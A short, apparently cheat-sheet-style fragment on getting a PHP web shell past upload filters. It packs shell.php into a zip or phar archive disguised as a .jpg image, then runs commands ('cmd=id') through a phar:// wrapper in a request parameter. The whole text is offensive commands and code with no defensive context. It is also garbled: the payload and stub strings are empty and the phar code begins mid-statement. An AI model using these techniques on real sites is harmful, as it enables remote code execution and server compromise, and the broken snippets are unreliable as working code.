Zip Upload
echo '' > shell.php && zip shell.jpg shell.php
Phar Upload
startBuffering();
$phar->addFromString('shell.txt', '');
$phar->setStub('');
$phar->stopBuffering();
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id